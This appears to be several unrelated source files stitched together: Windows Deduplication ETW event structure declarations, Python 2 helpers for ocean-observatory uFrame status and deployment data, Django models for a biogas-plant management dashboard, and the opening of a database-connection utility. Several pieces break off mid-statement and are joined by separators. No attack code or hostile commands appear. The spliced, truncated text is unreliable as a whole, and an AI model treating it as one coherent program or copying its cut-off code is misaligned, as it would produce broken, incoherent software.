@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16435, version=0)
class Microsoft_Windows_Deduplication_Change_16435_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16436, version=0)
class Microsoft_Windows_Deduplication_Change_16436_0(Etw):
pattern = Struct(
"EntryToRemove" / WString,
"EntryToAdd" / WString
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16437, version=0)
class Microsoft_Windows_Deduplication_Change_16437_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16438, version=0)
class Microsoft_Windows_Deduplication_Change_16438_0(Etw):
pattern = Struct(
"FileId" / Int64ul,
"FilePath" / WString,
"SizeBackedByChunkStore" / Int64ul,
"StreamMapInfoSize" / Int16ul,
"StreamMapInfo" / Bytes(lambda this: this.StreamMapInfoSize)
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16439, version=0)
class Microsoft_Windows_Deduplication_Change_16439_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul,
"ReparsePointSet" / Int8ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16440, version=0)
class Microsoft_Windows_Deduplication_Change_16440_0(Etw):
pattern = Struct(
"FileId" / Int64ul,
"FilePath" / WString
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16441, version=0)
class Microsoft_Windows_Deduplication_Change_16441_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16443, version=0)
class Microsoft_Windows_Deduplication_Change_16443_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16444, version=0)
class Microsoft_Windows_Deduplication_Change_16444_0(Etw):
pattern = Struct(
"FileId" / Int64ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16445, version=0)
class Microsoft_Windows_Deduplication_Change_16445_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16446, version=0)
class Microsoft_Windows_Deduplication_Change_16446_0(Etw):
pattern = Struct(
"FileId" / Int64ul,
"Offset" / Int64ul,
"BeyondFinalZero" / Int64ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16447, version=0)
class Microsoft_Windows_Deduplication_Change_16447_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16448, version=0)
class Microsoft_Windows_Deduplication_Change_16448_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"FileName" / WString,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16449, version=0)
class Microsoft_Windows_Deduplication_Change_16449_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16450, version=0)
class Microsoft_Windows_Deduplication_Change_16450_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul,
"Header" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16451, version=0)
class Microsoft_Windows_Deduplication_Change_16451_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16452, version=0)
class Microsoft_Windows_Deduplication_Change_16452_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16453, version=0)
class Microsoft_Windows_Deduplication_Change_16453_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16454, version=0)
class Microsoft_Windows_Deduplication_Change_16454_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"BatchChunkCount" / Int32ul,
"BatchDataSize" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16455, version=0)
class Microsoft_Windows_Deduplication_Change_16455_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16456, version=1)
class Microsoft_Windows_Deduplication_Change_16456_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"FileName" / WString,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"FileCopyLevel" / Int32ul,
"TotalEntryCount" / Int32ul,
"StartIndex" / Int32ul,
"EntryCount" / Int32ul,
"Entries" / Int64sl
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16457, version=0)
class Microsoft_Windows_Deduplication_Change_16457_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16458, version=1)
class Microsoft_Windows_Deduplication_Change_16458_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"FileName" / WString,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"FileCopyLevel" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16459, version=0)
class Microsoft_Windows_Deduplication_Change_16459_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16460, version=0)
class Microsoft_Windows_Deduplication_Change_16460_0(Etw):
pattern | |
is None:
return None
if 'latitude' in obj:
latitude = obj['latitude']
if latitude is not None:
latitude = round(latitude, 4)
if 'longitude' in obj:
longitude = obj['longitude']
if longitude is not None:
longitude = round(longitude, 4)
if 'depth' in obj:
depth = obj['depth']
if 'uid' in obj:
uid = obj['uid']
work['uid'] = uid
work['reference_designator'] = reference_designator
work['latitude'] = latitude
work['longitude'] = longitude
work['depth'] = depth
if 'assetInfo' in obj:
mindepth = 0
if 'mindepth' in obj['assetInfo']:
mindepth = obj['assetInfo']['mindepth']
maxdepth = 0
if 'maxdepth' in obj['assetInfo']:
maxdepth = obj['assetInfo']['maxdepth']
if 'name' in obj['assetInfo']:
name = obj['assetInfo']['name']
else:
name = get_display_name_by_rd(reference_designator)
work['display_name'] = name
work['mindepth'] = mindepth
work['maxdepth'] = maxdepth
#================
if not work:
work = None
return work
except Exception as err:
message = str(err)
if debug: print '\n debug format_rd_digest -- exception: ', message
current_app.logger.info(message)
return None
# Get uframe status for a reference designator; flip into dict keyed by reference designator.
def get_uframe_status_data(rd):
""" Get uframe status for site, platform or instrument. Process into dictionary, return.
"""
debug = False
try:
status_data = uframe_get_status_by_rd(rd)
if debug and status_data:
print '\n debug -- uframe status data for rd \'%s\': ' % rd
dump_dict(status_data, debug)
if not status_data or status_data is None:
status = None
else:
status = {}
for item in status_data:
if item:
if 'referenceDesignator' in item:
if item['referenceDesignator']:
status[item['referenceDesignator']] = item
if not status:
status = None
if debug and status and status is not None:
print '\n debug -- uframe status for rd \'%s\':' % rd
dump_dict(status)
return status
except Exception as err:
message = str(err)
current_app.logger.info(message)
return None
# Get uframe status for arrays; flip into dict keyed by reference designator.
def get_uframe_status_data_arrays():
""" Get uframe status for array, site, platform or instrument. Process into dictionary, return.
[
{
"status" : {
"legend" : {
"notTracked" : 1,
"removedFromService" : 0,
"degraded" : 0,
"failed" : 0,
"operational" : 0
},
"count" : 1
},
"referenceDesignator" : "RS"
},
"""
debug = False
from copy import deepcopy
try:
status_data = uframe_get_status_by_rd()
if debug:
print '\n debug -- uframe status data for arrays.'
dump_dict(status_data, debug)
if not status_data or status_data is None:
status = None
else:
status = {}
for item in status_data:
if item:
if 'referenceDesignator' in item:
if item['referenceDesignator']:
rd = deepcopy(item['referenceDesignator'])
del item['referenceDesignator']
status[rd] = item
if not status:
status = None
if debug:
print '\n debug -- uframe status for arrays: '
dump_dict(status)
return status
except Exception as err:
message = str(err)
current_app.logger.info(message)
return None
def get_log_block():
""" Get event log for history, default count=100. To be defined.
"""
log = []
return log
# Get uframe deployment digests, reverse sorted by ('deploymentNumber', 'versionNumber', and 'startTime'.
# Return current and operational current.
def get_last_deployment_digest(uid):
digest = None
#digest_operational = None
try:
digests = get_deployments_digests(uid)
#digests, digests_operational = get_deployments_digests(uid)
if digests and digests is not None:
digest = digests[0]
"""
if digests_operational and digests_operational is not None:
digest_operational = digests_operational[0]
"""
return digest #, digest_operational
except Exception as err:
message = 'Exception: get_last_deployment_digest: uid: %s: %s' % (uid, str(err))
current_app.logger.info(message)
return None
def add_deployment_info(work):
""" Process work dictionary and add deployment items.
"""
try:
if not work or work is None:
return None
# Get deployment digest using uid from work dictionary.
#digest, _ = get_last_deployment_digest(work['uid'])
digest = get_last_deployment_digest(work['uid'])
if digest is not None:
work['latitude'] = digest['latitude']
work['longitude'] = digest['longitude']
work['depth'] = digest['depth']
work['waterDepth'] = digest['waterDepth']
else:
work['latitude'] = None
work['longitude'] = None
work['depth'] = None
work['waterDepth'] = None
return work
except Exception as err:
message = str(err)
current_app.logger.info(message)
return None
def get_deployments_digests(uid):
""" Get list of deployment digest items for a uid; sorted in reverse by deploymentNumber, versionNumber and startTime.
Sample request:
http://localhost:4000/uframe/dev/digest/OL000582
Queries uframe endpoint: http://host:12587/asset/deployments/OL000582?editphase=ALL
Sample response data:
{
"digest": {
"deployCruiseIdentifier": "RB-16-05",
"deploymentNumber": 4,
"depth": 0.0,
"editPhase": "OPERATIONAL",
"endTime": 1498867200000,
"eventId": 57433,
"latitude": 49.97434,
"longitude": -144.23972,
"mooring_uid": "OL000582",
"node": "RIM01",
"node_uid": null,
"orbitRadius": 0.0,
"recoverCruiseIdentifier": null,
"sensor": "00-SIOENG000",
"sensor_uid": "OL000583",
"startTime": 1467335220000,
"subsite": "GP03FLMA",
"versionNumber": 1,
"waterDepth": null
}
}
"""
debug = False
try:
if debug:
print '\n debug ========================================================='
print '\n debug -- Entered get_deployments_digests for uid: %s' % uid
digests = get_deployments_digest_by_uid(uid)
if not digests or digests is None or len(digests) == 0:
return None #, None
if debug: print '\n len(digests): ', len(digests)
# Sort (reverse) by value of 'deploymentNumber', 'versionNumber', 'startTime'
try:
#result = sorted(digests, key=itemgetter('deploymentNumber'))
#digests.sort(key=lambda x: (-x['deploymentNumber'], -x['versionNumber'], -x['startTime']))
#digests.sort(key=lambda x: (x['deploymentNumber'], x['versionNumber'], x['startTime']), reverse=True)
digests.sort(key=lambda x: (x['startTime'], x['deploymentNumber'], x['versionNumber'], x['startTime']), reverse=True)
#digests.sort(key=lambda x: (x['startTime'], x['deploymentNumber'], x['versionNumber']), reverse=True)
except Exception as err:
print '\n get_deployments_digests : errors: ', str(err)
pass
if not digests or digests is None:
return None #, None
"""
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Get 'OPERATIONAL' digests.
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
digests_operational = []
for digest in digests:
if digest['editPhase'] == 'OPERATIONAL':
digests_operational.append(digest)
if digests_operational:
try:
digests_operational.sort(key=lambda x: (x['deploymentNumber'], x['versionNumber'], x['startTime']),
reverse=True)
except Exception as err:
print '\n digests_operational : errors: ', str(err)
pass
"""
if debug:
print '\n debug -- Exit get_deployments_digests for uid: %s' % uid
print '\n debug ========================================================='
return digests #, digests_operational
except Exception as err:
message = str(err)
current_app.logger.info(message)
return None #, None
#===========================================
# Cache helper functions
#===========================================
def build_rds_cache(refresh=False):
"""
Create a cache for reference designator to current asset uid deployment information.
The 'rd_digests' and 'rd_digests_dict' are used by status methods.
"""
debug = False
time = True
rd_digests = None
rd_digests_dict = None
try:
if time: print '\n-- Building reference designator digests (refresh: %r)' % refresh
if not refresh:
rd_digests_cache = cache.get('rd_digests')
if rd_digests_cache and rd_digests_cache is not None:
rd_digests = rd_digests_cache
else:
rd_digests = None
rd_digests_dict_cache = cache.get('rd_digests_dict')
if rd_digests_dict_cache and rd_digests_dict_cache is not None:
rd_digests_dict = rd_digests_dict_cache
else:
rd_digests_dict = None
# If refresh (force build) or missing either rd_digest or rd_digest_dict, then rebuild both.
if refresh or rd_digests is None or rd_digests_dict is None:
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Get reference designators from toc...
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if time: print '\n -- Compiling reference designators from toc...'
start = dt.datetime.now()
if time: print '\t-- Start time: ', start
try:
rds, _, _ = get_toc_reference_designators()
except Exception as err:
message = str(err)
raise Exception(message)
if not rds or rds is None:
message = 'No reference designators returned from toc information.'
raise Exception(message)
rds_end = dt.datetime.now()
if time:
print '\t-- End time: ', rds_end
print '\t-- Time to complete: %s' % (str(rds_end - start))
print ' -- Completed compiling rds from toc...'
if debug: print '\t-- Number of reference designators: ', len(rds)
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Compile reference designator digests using rds.
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
digests_start = dt.datetime.now()
if time:
print '\n -- Compiling reference designator digests... '
print '\t-- Start time: ', digests_start
rd_digests, rd_digests_dict = build_rd_digest_cache(rds)
if rd_digests is not None:
cache.delete('rd_digests')
cache.set('rd_digests', rd_digests, timeout=get_cache_timeout())
else:
print 'Failed to | |
<gh_stars>0
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models
from django.conf import settings
from django.contrib.gis.geos import Point
from django.contrib.gis.db import models
from django.contrib.gis.geos import Point
from django.contrib.postgres.fields import ArrayField, HStoreField, JSONField
from django.core.validators import MaxValueValidator, MinValueValidator, EmailValidator
from geopy.geocoders import Nominatim
from django.utils import timezone
import uuid
from random import randint # for testing data streams
from enumfields import EnumField
from django_dashboard.enums import ContactType, UserRole, JobStatus, QPStatus, CurrentStatus, TypeBiogas, SupplierBiogas, SensorStatus,FundingSourceEnum, CardTypes, EntityTypes, AlertTypes
from django_dashboard.utilities import find_coordinates
from multiselectfield import MultiSelectField
from django.contrib.sessions.models import Session
from django.contrib.auth.models import User, Group, Permission
from phonenumber_field.modelfields import PhoneNumberField
from django.utils.text import slugify
from django.db.models.signals import post_save
from django.dispatch import receiver
import pdb
#class UserE(models.Model):
# user = models.OneToOneField(User, related_name='user')
class Company(models.Model):
#user = models.ForeignKey(settings.AUTH_USER_MODEL)
#session = models.ForeignKey(Session)
company_id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False,db_index=True)
company_name = models.CharField(max_length=200)
country = models.CharField(db_index=True,null=True,blank=True,max_length=200)
region = models.CharField(db_index=True,null=True,blank=True,max_length=200)
district = models.CharField(db_index=True,null=True,blank=True,max_length=200)
ward = models.CharField(db_index=True,null=True,blank=True,max_length=200)
village = models.CharField(db_index=True,null=True,blank=True,max_length=200)
postcode = models.CharField(null=True,max_length=20,blank=True)
neighbourhood = models.CharField(null=True,max_length=20,blank=True)
other_address_details = models.TextField(null=True,blank=True)
#phone_number = models.CharField(max_length=15, db_index=True,null=True)
phone_number = PhoneNumberField(db_index=True, null=True, blank=True)
emails = ArrayField(models.CharField(max_length=200),default=list, blank=True,null=True)
other_info = models.TextField(blank=True,null=True)
def __str__(self):
return '%s' % (self.company_name)
def save(self, *args, **kwargs):
self.create_groups(self.company_name,self.company_id)
return super(Company,self).save(*args,**kwargs)
def create_groups(self,company_name,company_id):
"""Each company has three groups which can have defined permissions"""
#pdb.set_trace()
tech_group_name = slugify(company_name)+"__tech__"+str(self.company_id) # we need to check it does not exist before this step
admin_group_name = slugify(company_name)+"__admin__"+str(self.company_id)
superadmin_group_name = slugify(company_name)+"__superadmin__"+str(self.company_id)
new_group1, created1 = Group.objects.get_or_create(name=tech_group_name)
new_group2, created2 = Group.objects.get_or_create(name=admin_group_name)
new_group3, created3 = Group.objects.get_or_create(name=superadmin_group_name)
# now when a new user is created, we
#ct = ContentType.objects.get_for_model(User)
class Meta:
verbose_name = "Company"
verbose_name_plural = "Company's"
#ordering =['company_id','company_name','']
class UserDetail(models.Model):
#uid = models.UUIDField(default=uuid.uuid4, editable=False,db_index=True,primary_key=True)
#id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False, null=True, blank=True)
user = models.OneToOneField(User,on_delete=models.CASCADE,related_name='userdetail') # a user
#admin_role_in_companies = models.ManyToManyField(Company, blank=True, related_name="admin_role_in",) # the companies the User has an admin role in
#technican_role_in_companies = models.ManyToManyField(Company, blank=True,related_name="tech_role_in") # the companies the User has a technican role in
company = models.ManyToManyField(Company)
logged_in_as = models.ForeignKey( # the user will need to choose (prob in a settings tab of some sort, who they are logged in as)
Company,
on_delete=models.CASCADE,
related_name="logged_in_as",
blank=True,
null=True
)
#models.ManyTo.ManyField(Company)
# maybe add choices here:
role = EnumField(UserRole, max_length=1,null=True)
#pdb.set_trace()
first_name = models.CharField(max_length=200,default=None,editable=False)
last_name = models.CharField(max_length=200,default=None,editable=False)
#last_name = models.CharField(max_length=200)
user_photo = models.ImageField(upload_to = 'UserPhotos',null=True,blank=True)
#phone_number = models.CharField(max_length=15, db_index=True,null=True) # we'll need to add some validaters for this
phone_number = PhoneNumberField(db_index=True, null=True, blank=True)
email = models.EmailField(null=True,blank=True)
country = models.CharField(db_index=True,null=True,blank=True,max_length=200)
region = models.CharField(db_index=True,null=True,blank=True,max_length=200)
#region = models.ManyToManyField('django_dashboard.region')
district = models.CharField(db_index=True,null=True,blank=True,max_length=200)
ward = models.CharField(db_index=True,null=True,blank=True,max_length=200)
village = models.CharField(db_index=True,null=True,blank=True,max_length=200)
neighbourhood = models.CharField(null=True,max_length=20,blank=True)
postcode = models.CharField(null=True,max_length=20,blank=True)
postcode = models.CharField(null=True,max_length=20,blank=True)
other_address_details = models.TextField(null=True,blank=True)
datetime_created = models.DateTimeField(editable=False, db_index=True,null=True,blank=True)
datetime_modified = models.DateTimeField(null=True,blank=True,editable=False)
def __str__(self):
return '%s, %s %s' % (self.last_name,self.first_name,self.phone_number)
def save(self, *args, **kwargs):
#pdb.set_trace()
#if self.id is None:
#self.id = uuid.uuid4()
#self.add_new_users_to_groups()
if not self.datetime_created:
self.datetime_created = timezone.now()
self.datetime_modified = timezone.now()
self.first_name = self.user.first_name
self.last_name = self.user.last_name
return super(UserDetail,self).save(*args,**kwargs)
# initially add the users to the technican's group of the company that they are in
#new_group2, created2 = Group.objects.get_or_create(name=admin_group_name)
#new_group3, created3 = Group.objects.get_or_create(name=superadmin_group_name)
def company_title(self):
#pdb.set_trace()
self.company_query_object = self.company.all()
return "\n".join([p.company_name for p in self.company_query_object])
company_title.short_description = 'Company Name'
company_title.allow_tags = True
class Meta:
verbose_name = "UserDetail"
verbose_name_plural = "UserDetails"
permissions = ( ("remove_user", "Remove a user from the platform"),
("create_user", "Add a user to the platform" ),
("edit_user", "Edit a user's profile"),
)
@receiver(post_save, sender=UserDetail, dispatch_uid="update_user_groups")
def add_new_users_to_groups(sender, instance, **kwargs):
companies = instance.company.all()
for cy in companies:
tech_group_name = slugify(cy.company_name)+"__tech__"+str(cy.company_id)
_group_, created = Group.objects.get_or_create(name=tech_group_name)
_group_.user_set.add(instance.user)
class TechnicianDetail(models.Model):
BOOL_CHOICES = ((True, 'Active'), (False, 'Inactive'))
ACCREDITED_TO_INSTALL = (
('TUBULAR', "tubular"),
('FIXED_DOME', "fixed_dome"),
)
SPECIALIST_SKILLS = (
('PLUMBER', 'plumber'),
('MASON', 'mason'),
('MANAGER', 'manager'),
('DESIGN', 'design'),
('CALCULATIONS', 'calculations')
)
#tech = models.ForeignKey(Technicians, on_delete=models.CASCADE)
technicians = models.OneToOneField(
UserDetail,
on_delete=models.CASCADE,
related_name="technician_details",
)
#company = models.ForeignKey(Company, on_delete=models.CASCADE)
technician_id = models.UUIDField(default=uuid.uuid4, primary_key=True, editable=False,db_index=True)
#acredit_to_install = ArrayField(models.CharField(max_length=200, choices = ACCREDITED_TO_INSTALL), default=list,blank=True, db_index=True,null=True) # choices=ACCREDITED_TO_INSTALL e.g. different digesters they can construct
#acredit_to_install = models.SelectMultiple(max_length=200, choices = ACCREDITED_TO_INSTALL)
acredit_to_install = MultiSelectField(choices = ACCREDITED_TO_INSTALL,blank=True, db_index=True,null=True)
acredited_to_fix = MultiSelectField(choices = ACCREDITED_TO_INSTALL,blank=True, db_index=True,null=True)
#acredited_to_fix = ArrayField(models.CharField(max_length=200), default=list, blank=True, db_index=True,null=True)
specialist_skills = MultiSelectField(choices = SPECIALIST_SKILLS,blank=True, db_index=True,null=True)
#specialist_skills = ArrayField(models.CharField(max_length=200), default=list, blank=True, db_index=True,null=True)
number_jobs_active = models.IntegerField(blank=True,null=True)
number_of_jobs_completed = models.IntegerField(blank=True,null=True)
#seconds_active = models.IntegerField(blank=True,null=True)
status = models.NullBooleanField(db_index=True,blank=True,null=True,choices=BOOL_CHOICES)
what3words = models.CharField(max_length=200,null=True)
location = models.PointField(geography=True, srid=4326,blank=True,null=True,db_index=True)
willing_to_travel = models.IntegerField(blank=True,null=True) # distance that a technician is willing to travel
#rating = ArrayField(JSONField(blank=True, null=True),blank=True, null=True )
average_rating = models.FloatField(editable=False,blank=True,null=True,default=0)
max_num_jobs_allowed = models.IntegerField(blank=True,null=True,default=1)
languages_spoken = ArrayField(models.CharField(max_length=200),default=list, blank=True,null=True)
def __str__(self):
return '%s %s' % (self.technicians,self.status)
def update_location(self,lat_,long_):
self.location = Point(long_, lat_)
self.save()
def update_status(self,status):
self.status = status
self.save()
def save(self, *args, **kwargs):
if (self.what3words != None): # want to change this so it is only saved when the coordinate has changed, not every time
_location_ = find_coordinates(self.what3words)
self.location = Point( _location_['lng'], _location_['lat'] )
return super(TechnicianDetail,self).save(*args,**kwargs)
class Meta:
verbose_name = "Status and Location"
verbose_name_plural = "Status and Location"
permissions = ( ("remove_technician", "Remove a technician from the platform"),
("create_technician", "Add a technician to the platform" ),
("edit_technician", "Edit a technican's profile"),
)
class Address(models.Model):
country = models.CharField(db_index=True,null=True,blank=True,max_length=200)
continent = models.CharField(db_index=True,null=True,blank=True,max_length=200)
region = models.CharField(db_index=True,null=True,blank=True,max_length=200)
district = models.CharField(db_index=True,null=True,blank=True,max_length=200)
ward = models.CharField(db_index=True,null=True,blank=True,max_length=200)
village = models.CharField(db_index=True,null=True,blank=True,max_length=200)
lat_long = models.PointField(geography=True, srid=4326,blank=True,null=True,db_index=True)
class BiogasPlantContact(models.Model):
uid = models.UUIDField(default=uuid.uuid4, editable=False)
#associated_company = models.ManyToManyField(Company)
associated_company = models.ForeignKey(Company, on_delete=models.CASCADE, blank=True, null=True ) # this field will be depreciated in the production version as will be on the biogas plant instead (and will be the company who constructed)
contact_type = EnumField(ContactType, max_length=1)
first_name = models.CharField(null=True,max_length=200)
surname = models.CharField(null=True,max_length=200)
mobile = models.CharField(db_index=True,null=True,blank=True,max_length=15)
email = models.CharField(validators=[EmailValidator],db_index=True,null=True,blank=True,max_length=200)
address = models.ForeignKey( Address, on_delete=models.CASCADE, blank=True, null=True, related_name = "biogasplantcontact" )
# to be removed
country = models.CharField(db_index=True,null=True,blank=True,max_length=200)
continent = models.CharField(db_index=True,null=True,blank=True,max_length=200)
region = models.CharField(db_index=True,null=True,blank=True,max_length=200)
district = models.CharField(db_index=True,null=True,blank=True,max_length=200)
ward = models.CharField(db_index=True,null=True,blank=True,max_length=200)
village = models.CharField(db_index=True,null=True,blank=True,max_length=200)
lat_long = models.PointField(geography=True, srid=4326,blank=True,null=True,db_index=True)
# biogas_owner = models.NullBooleanField(db_index=True,blank=True)
def __str__(self):
return '%s %s; %s' % (self.first_name, self.surname, self.mobile)
class Meta:
verbose_name = "Biogas Plant Owner"
verbose_name_plural = "Biogas Plant Owners"
permissions = ( ("remove_user", "Remove a user from the platform"),
("create_user", "Add a user to the platform" ),
("edit_user", "Edit a user's profile"),
("edit_mobile_number","Able to Edit a users mobile number")
)
class BiogasPlant(models.Model):
TYPE_BIOGAS_CHOICES = (
('TUBULAR', "tubular"),
('FIXED_DOME', "fixed_dome"),
('GESISHAMBA','GesiShamba'),
)
STATUS_CHOICES = (
('UNDER_CONSTRUCTION', 'under construction'),
('COMMISSIONING', 'commissioning'),
('QP1_operational','QP1 operational'),
('QP1_fault','QP1 fault'),
('QP2_operational','QP2 operational'),
('QP2_fault','QP2 fault'),
('OPERATIONAL','operational'),
('FAULT','fault'),
('DECOMMISSIONED', "decommissioned"),
)
plant_id = models.UUIDField(default=uuid.uuid4, editable=False,db_index=True)
UIC = models.CharField(db_index=True,null=True,blank=True,max_length=200) # Unique Identiifer Code (their is one of these on all biogas plants) - this field how becomes redundant as we now use a separate table for this. It will be removed in the next release.
biogas_plant_name = models.CharField(db_index=True,null=True,blank=True,max_length=200)
thingboard_ref = models.CharField(db_index=True,null=True,blank=True,max_length=200)
associated_company = models.ManyToManyField(Company, blank=True, related_name='biogas_plant_company')
contact = models.ManyToManyField(BiogasPlantContact, related_name='biogas_plant_detail') # a biogas plant can have one or many users and a user can have one or many biogas plants
constructing_technicians = models.ManyToManyField(UserDetail,blank=True, related_name = 'constructing_technicians')
funding_souce = EnumField(FundingSourceEnum, max_length=1,null=True, blank = True)
funding_source_notes = models.TextField(null=True, blank=True)
country = models.CharField(db_index=True,null=True,blank=True,max_length=200)
region = models.CharField(db_index=True,null=True,blank=True,max_length=200)
district = models.CharField(db_index=True,null=True,blank=True,max_length=200)
ward = models.CharField(db_index=True,null=True,blank=True,max_length=200)
village = models.CharField(db_index=True,null=True,blank=True,max_length=200)
postcode = models.CharField(null=True,max_length=20,blank=True)
neighbourhood = models.CharField(null=True,max_length=20,blank=True)
other_address_details = models.TextField(null=True,blank=True)
#type_biogas = models.CharField(choices=TYPE_BIOGAS_CHOICES,null=True,max_length=20,blank=True)
type_biogas = EnumField(TypeBiogas, max_length=1,null=True)
supplier = EnumField(SupplierBiogas, max_length=1,null=True,blank=True)
#size_biogas = models.FloatField(null=True,blank=True) # maybe specify this in m3
#volume_biogas = models.CharField(db_index=True,null=True,blank=True,max_length=200)
volume_biogas = models.CharField(max_length=200,null=True,blank=True)
location_estimated = models.NullBooleanField(default=False,blank=True)
location = models.PointField(geography=True, srid=4326,blank=True,db_index=True,null=True)
#status = models.CharField(null=True,max_length=225,blank=True,choices=STATUS_CHOICES)
QP_status = EnumField(QPStatus, max_length=1,null=True)
sensor_status = EnumField(SensorStatus, max_length=1,null=True, blank = True)
current_status = EnumField(CurrentStatus, max_length=1,null=True)
verfied = models.NullBooleanField(db_index=True,blank=True,default=False)
install_date = models.DateField(null=True,blank=True)
what3words = models.CharField(max_length=200,null=True,blank=True)
notes = models.TextField(null=True,blank=True)
def __str__(self):
return '%s, %s, %s, %s' % (str(self.type_biogas), str(self.supplier), str(self.volume_biogas), str(self.plant_id) )
def get_contact(self):
#pdb.set_trace()
self.contact_query_object = self.contact.all()
return "\n".join([p.surname+", "+p.first_name for p in self.contact_query_object])
get_contact.short_description = 'Contact'
get_contact.allow_tags = True
def mobile_num(self):
#pdb.set_trace()
return "\n".join([p.mobile for p in self.contact_query_object])
mobile_num.short_description = 'Mobile'
mobile_num.allow_tags = True
def contact_type(self):
#pdb.set_trace()
return "\n".join([p.contact_type.name for p in self.contact_query_object])
contact_type.short_description = 'Type'
contact_type.allow_tags = True
def save(self, *args, **kwargs):
#if not self.location:
# geolocator = Nominatim()
# _location_ = geolocator.geocode(self.town)
# self.location = Point(_location_.longitude, _location_.latitude)
if (self.what3words != None): # want to change this so it is only saved when the coordinate has changed, not every time
_location_ = find_coordinates(self.what3words)
self.location = | |
<gh_stars>0
import sqlalchemy as sqla
import sys
import pandas as pd
from google.cloud import bigquery
from google.oauth2 import service_account
import re
import pymysql
from decimal import Decimal
import datetime
import time
from enum import Enum
import cx_Oracle
try:
import pyodbc
import pymssql
except ImportError:
pass
from pyfission.custom_logging.__main__ import func_logger
from pyfission.utils.cloud_google import upload_to_cloud_storage, load_to_table, patch_table_simple as patch_table_simple_bq
from pyfission.utils.file import load_sql, subfolder_path
from pyfission.utils.s3_util import s3_upload_file
def connect_to_database(log, creds, db='mysql', raw=True, **kwargs):
"""
Returns a connection object - raw/native based on credentials provided and database type
:param log: logger object
:param creds: a dictionary object containing credentials necessary for creating the connection object
:param db: type of database. Acceptable value: [mysql, mssql, oracle, redshift, bigquery]
:param raw: Boolean flag for type of conection - raw/native
:param kwargs: dynamic capture of keyword-args
:param method
:param host: overrides the host in creds
:param port: overrides the port in creds
:param user: overrides the user in creds
:param password: overrides the password in creds
:param database: overrides the database in creds
:return: connection object
"""
user = creds.get('user', '') if 'user' not in kwargs.keys() else kwargs['user']
